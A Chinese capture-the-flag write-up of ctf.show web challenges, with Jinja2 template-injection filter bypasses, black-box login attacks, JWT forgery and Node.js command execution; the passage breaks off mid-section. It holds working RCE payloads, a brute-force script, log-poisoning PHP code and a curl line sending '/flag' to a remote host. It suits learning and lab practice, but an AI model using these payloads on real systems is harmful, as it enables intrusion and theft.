[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'Struct'>, <class 'unpack_iterator'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]
找到 <class 'os._wrap_close'>
的下标132,输入 ?name="".__class__.__base__.__subclasses__()[132]
找到 <class 'os._wrap_close'>
,我们就可以从这个类中找到我们想要的命令。
init初始化类,然后globals全局来查找所有的方法及变量及参数。输入 ?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__}}
,得到他的所有方法。
输入 ?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}}
就可以任意执行命令了。
web362
可以使用 ?name={{config.__class__.__init__.__globals__['os']}}
得到 os
类。
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
web363
过滤了引号。可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
web364
args
也过滤了。可以将 args
替换为 values
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
web365
过滤了 []
,可以用 __getitem__()
来替换。
?name={{ config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read() }}&a=os&b=cat /flag
web366
过滤了 _
。使用 attr
获取变量。
""|attr("__class__")
相当于
"".__class__
全部替换一下就好了。
?name={{ (config|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d))(request.values.e).popen(request.values.f).read() }}&a=__class__&b=__init__&c=__globals__&d=__getitem__&e=os&f=cat /flag
web367
同web366
web368
{{}}
也过滤了。用 {%%}
绕过,然后用 print
回显出来。
?name={% print ((config|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d))(request.values.e).popen(request.values.f).read()) %}&a=__class__&b=__init__&c=__globals__&d=__getitem__&e=os&f=cat /flag
web369
request
被过滤。
可以用 ()|select|string
,输入 ?name={%print (()|select|string)%}
可以得到 <generator object select_or_reject at 0x7f1f4bb2fa50>
,name使用list将其转化为列表,利用pop函数就可以得到其中的字符。比如下面的代码就会得到 __class__
。
(()|select|string|list).pop(24)~
(()|select|string|list).pop(24)~
(()|select|string|list).pop(15)~
(()|select|string|list).pop(20)~
(()|select|string|list).pop(6)~
(()|select|string|list).pop(18)~
(()|select|string|list).pop(18)~
(()|select|string|list).pop(24)~
(()|select|string|list).pop(24)
还可以利用 dict()|join
,例如输入 {% print(dict(clas=a,s=b)|join) %}
就可以得到'class'。
通过上述方法来构造 (config.__init__.__globals__.__getitem__("__builtins__")).open("/flag").read()
。
# '_':
{% set a = (()|select|string|list).pop(24) %}
# '__init__'
{% set init = (a,a,dict(init=a)|join,a,a)|join() %}
# '__globals__'
{% set globals = (a,a,dict(globals=a)|join,a,a)|join() %}
# '__getitem__'
{% set getitem = (a,a,dict(getitem=a)|join,a,a)|join() %}
# '__builtins__'
{% set builtins = (a,a,dict(builtins=a)|join,a,a)|join() %}
# 对包含函数全局变量的字典的引用
{% set x = (q|attr(init)|attr(globals)|attr(getitem))(builtins) %}
# chr()函数
{% set chr = x.chr %}
# file path '/flag'
{% set file = chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) %}
# 读取flag
{% print(x.open(file).read()) %}
去掉注释就是payload了。
web370
数字被过滤了那么我们就要想办法构造数字出来,可以利用 count
或 length
来构造数字。count
会返回字符串长度,就可以构造想要的数字。比如说 {{dict(aa=a)|join|count}}
,因为dict(aa=a)|join
的返回结果为 aa
,长度为2,所以他的返回值就为2。然后数字进行拼接就可以任意构造数字。
{% set b = dict(aa=a)|join|count %}
{% set c = dict(aaa=a)|join|count %}
{% set d = dict(aaaa=a)|join|count %}
{% set e = dict(aaaaaaa=a)|join|count %}
{% set f = dict(aaaaaaaa=a)|join|count %}
{% set g = dict(aaaaaaaaa=a)|join|count %}
{% set h = dict(aaaaaaaaaa=a)|join|count %}
{% set a=(()|select|string|list).pop((b~d)|int)%}
{% set init = (a,a,dict(init=a)|join,a,a)|join() %}
{% set globals = (a,a,dict(globals=a)|join,a,a)|join() %}
{% set getitem = (a,a,dict(getitem=a)|join,a,a)|join() %}
{% set builtins = (a,a,dict(builtins=a)|join,a,a)|join() %}
{% set x = (q|attr(init)|attr(globals)|attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set file = chr((d~e)|int)%2bchr((h~b)|int)%2bchr((h~f)|int)%2bchr((g~e)|int)%2bchr((h~c)|int) %}
{% print(x.open(file).read()) %}
web371
print
被过滤了。
可以通过 curl
来将读取到的flag发送到远程服务器上。
{% set b = (t|count)%}
{% set c = dict(a=a)|join|count %}
{% set d = dict(aa=a)|join|count %}
{% set e = dict(aaa=a)|join|count %}
{% set f = dict(aaaa=a)|join|count %}
{% set g = dict(aaaaa=a)|join|count %}
{% set h = dict(aaaaaa=a)|join|count %}
{% set i = dict(aaaaaaa=a)|join|count %}
{% set j = dict(aaaaaaaa=a)|join|count %}
{% set k = dict(aaaaaaaaa=a)|join|count %}
{% set l = dict(aaaaaaaaaa=a)|join|count %}
{% set m = dict(aaaaaaaaaaa=a)|join|count %}
{% set a=(()|select|string|list).pop((d~f)|int)%}
{% set init = (a,a,dict(init=a)|join,a,a)|join() %}
{% set globals = (a,a,dict(globals=a)|join,a,a)|join() %}
{% set getitem = (a,a,dict(getitem=a)|join,a,a)|join() %}
{% set builtins = (a,a,dict(builtins=a)|join,a,a)|join() %}
{% set x = (q|attr(init)|attr(globals)|attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}
利用脚本来转化一下要执行的命令
flag = '__import__("os").popen("curl http://ip:端口号?p=`cat /flag`").read()'
def str_format(string):
t = ''
for i in range(len(string)):
if i != len(string) - 1:
t += 'chr(' + str_format2(str(ord(string[i]))) + ')%2b'
else:
t += 'chr(' + str_format2(str(ord(string[i]))) + ')'
return t
def str_format2(string):
string = '(' + chr(int(string[:-1:]) + 98) + '~' + chr(int(string[-1]) + 98) + ')|int'
return string
print(str_format(flag))
web372
过滤了 count
,将上题的payload的count修改为length即可。
0x0b 黑盒测试
web380
除了index以外还有四个页面,page_1.php
到 page_4.php
。没有源码泄露、robots.txt等内容。
尝试访问 page.php
提示 打开$id.php失败
,那么我们传入一个参数 ?id=1
,报错 Warning: file_get_contents(1.php): failed to open stream: No such file or directory in /var/www/html/page.php on line 20
,可以看到直接获取 1.php
的内容,那么直接传入 ?id=flag
就可以了。
web381
访问 page.php
提示 打开page_$id.php失败
,伪静态,没想到什么截断的办法。
在首页的源码处有后台地址 /alsckdfy/
,访问得到flag。
web382
访问 /alsckdfy/
是一个后台登录地址。
猜测存在SQL注入,用户名输入 admin' or 1=1#
,随便输入密码,登陆成功拿到flag。
web383
同web382
web384
提示密码前2位是小写字母,后三位是数字,那就生成一个字典然后爆破。
效率好低,,,最后还是看了师傅们爆出的密码。
import string
import requests
url = 'http://2eeffc08-29a9-4ce0-90c4-1f0144a95bdb.challenge.ctf.show:8080/alsckdfy/check.php'
data = {'u': 'admin', 'p': ''}
s1 = string.ascii_lowercase
s2 = string.digits
for i in s1:
print(i)
for j in s1:
for k in s2:
for l in s2:
for m in s2:
p = i + j + k + l + m
data['p'] = p
res = requests.post(url, data=data)
if 'error' not in res.text:
print(res.text)
exit(0)
web385
访问 http://url/install
提示需要重新安装请访问install/?install,管理员密码将重置为默认密码,那就访问 http://url/install/?install
重新安装,这里默认账号密码在之前的题中可以注入得到是 admin/admin888
,访问后台登录即可。
web386
查看 http://caabdbfa-171b-4190-9af8-cfa58bbda2b4.challenge.ctf.show:8080/layui/css/tree.css
可以得到提示 /*如果页面卡顿,可以访问clear.php清理缓存*/
。
访问 http://url/clear.php?file=./install/lock.dat
删除安装锁定文件,然后重新安装就行了。
web387
访问robots.txt得到 /debug
,访问提示file not exist,文件不存在,那传入一个参数 file=/etc/passwd
发现读取文件成功,可能存在文件包含。
UA头写入代码删除lock.dat文件 <?php unlink('/var/www/html/install/lock.dat')?>
,然后包含日志文件 ?file=/var/log/nginx/access.log
,之后重新安装就行了。
0x0c jwt
web345
查看源码注释得到提示 /admin
,访问后302跳转到了首页。
在cookie中发现了一段名为auth的 jwt
, eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MjYzMjU4MjcsImV4cCI6MTYyNjMzMzAyNywibmJmIjoxNjI2MzI1ODI3LCJzdWIiOiJ1c2VyIiwianRpIjoiZjAyNDk0ZjAzY2M5NzU2YmRkZjg3NmQ2NmM3ZWQ1ZDcifV0
将第一部分header进行解码得到 {"alg":"None","typ":"jwt"}
,payload解码得到 [{"iss":"admin","iat":1626325827,"exp":1626333027,"nbf":1626325827,"sub":"user","jti":"f02494f03cc9756bddf876d66c7ed5d7"}]
- iss: jwt签发者
- sub: jwt所面向的用户
- aud: 接收jwt的一方
- exp: jwt的过期时间,这个过期时间必须要大于签发时间
- nbf: 定义在什么时间之前,该jwt都是不可用的.
- iat: jwt的签发时间
- jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
由于没有第三部分的签名验证,所以直接伪造就可以了。
将sub修改为admin,然后base64编码连接起来,修改cookie,访问 /admin
就行了。
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0AW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MjYzMjY4ODAsImV4cCI6MTYyNjMzNDA4MCwibmJmIjoxNjI2MzI2ODgwLCJzdWIiOiJhZG1pbiIsImp0aSI6IjlmZDI2ZTQxMzUwODdlOWM1Njg4YWI4ZjFhMjUwMzgzIn1d
web346
解码得到{"alg":"HS256","typ":"JWT"}{"iss":"admin","iat":1626326999,"exp":1626334199,"nbf":1626326999,"sub":"user","jti":"17ad80e0b369e16f606aede4dc8aa73f"}
这次有了第三段的签名验证了。
将alg,也就是加密算法声明就改为none,sub修改为admin
{"alg":"None","typ":"JWT"}{"iss":"admin","iat":1626326999,"exp":1626334199,"nbf":1626326999,"sub":"admin","jti":"17ad80e0b369e16f606aede4dc8aa73f"}
编码得到,访问 /admin
就行了。
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNjMyNjk5OSwiZXhwIjoxNjI2MzM0MTk5LCJuYmYiOjE2MjYzMjY5OTksInN1YiI6ImFkbWluIiwianRpIjoiMTdhZDgwZTBiMzY5ZTE2ZjYwNmFlZGU0ZGM4YWE3M2YifQ.
web347
347相对于346验证了算法为空的情况,不能修改alg为none了。
所以这里我们就要得到secret来伪造jwt,题目也提示了弱口令,猜测123456,伪造jwt,修改cookie访问 /admin
即可。
在线网站 https://jwt.io/ 加解密jwt。
web348
爆破工具 c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNjMzMDM4MSwiZXhwIjoxNjI2MzM3NTgxLCJuYmYiOjE2MjYzMzAzODEsInN1YiI6InVzZXIiLCJqdGkiOiI4NWI3MDBjMDc2M2ZiMTMyYTNlZDZlZjcyYTBlZmJiZiJ9.6WtuD5K73Q2dRE4T2y3HF3l_KZHnYmnrgiDdNL_ncRE
Secret is "aaab"
就拿到了secret为aaab,然后直接伪造就行了。
web349
先查看app.js,这里的加密算法不再是HS256,而是RS256,采用 SHA-256
的 RSA 签名。通过代码我们可以看到公私钥的路径是public,可以直接访问下载获取。
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
下载拿到private.key,然后在 https://jwt.io/ 中进行修改后的jwt的签名,修改cookie后post请求一下就行了。
web350
和上一题类似,但是不能获取到私钥,只能拿到公钥。
这里可以将RS256算法改为HS256(非对称密码算法=>对称密码算法)。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
0x0d nodejs
web334
打开网站是一个登录界面,先下载附件看看源码。
在 user.js
中找到了用户名和密码 {username: 'CTFSHOW', password: '123456'}
,但是直接登录不对,接着看看源码。
登录验证的函数如下,用户名不能等于 CTFSHOW
,但是字母大写后等于 CTFSHOW
,那直接输入 ctfshow
和123456就可以了。
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
web335
查看源码找到注释 /?eval=
。
猜测可能是读取一个参数然后命令执行。
require('child_process').spawnSync( 'ls' ).stdout.toString()
require('child_process').spawnSync( 'cat' ,['fl00g.txt']).stdout.toString()
web336
require('child_process').spawnSync( 'cat' ,['fl001g.txt']).stdout.toString()
web337
读取a、b两个参数,两个参数长度相等,值不强相等,和flag拼接后的md5值相等,满足条件输出flag。
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
由于js是弱类型的语言,可以传入 a[a]=1&b[b]=2
,那么就有了 a={'a'=1},b={'b'=2}
,而他们与flag进行拼接时都是 [object Object]ctfshow{xxx}
,也就是说此时无论值是什么,md5后的结果都相等。
web338
下载源码,先来看一下 login.js
,flag就存放在这,下面有一个判断 (secert.ctfshow==='36dboy')
,成立则输出flag,但是这里没有对secert进行任何操作,这里就需要原型链污染了。
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
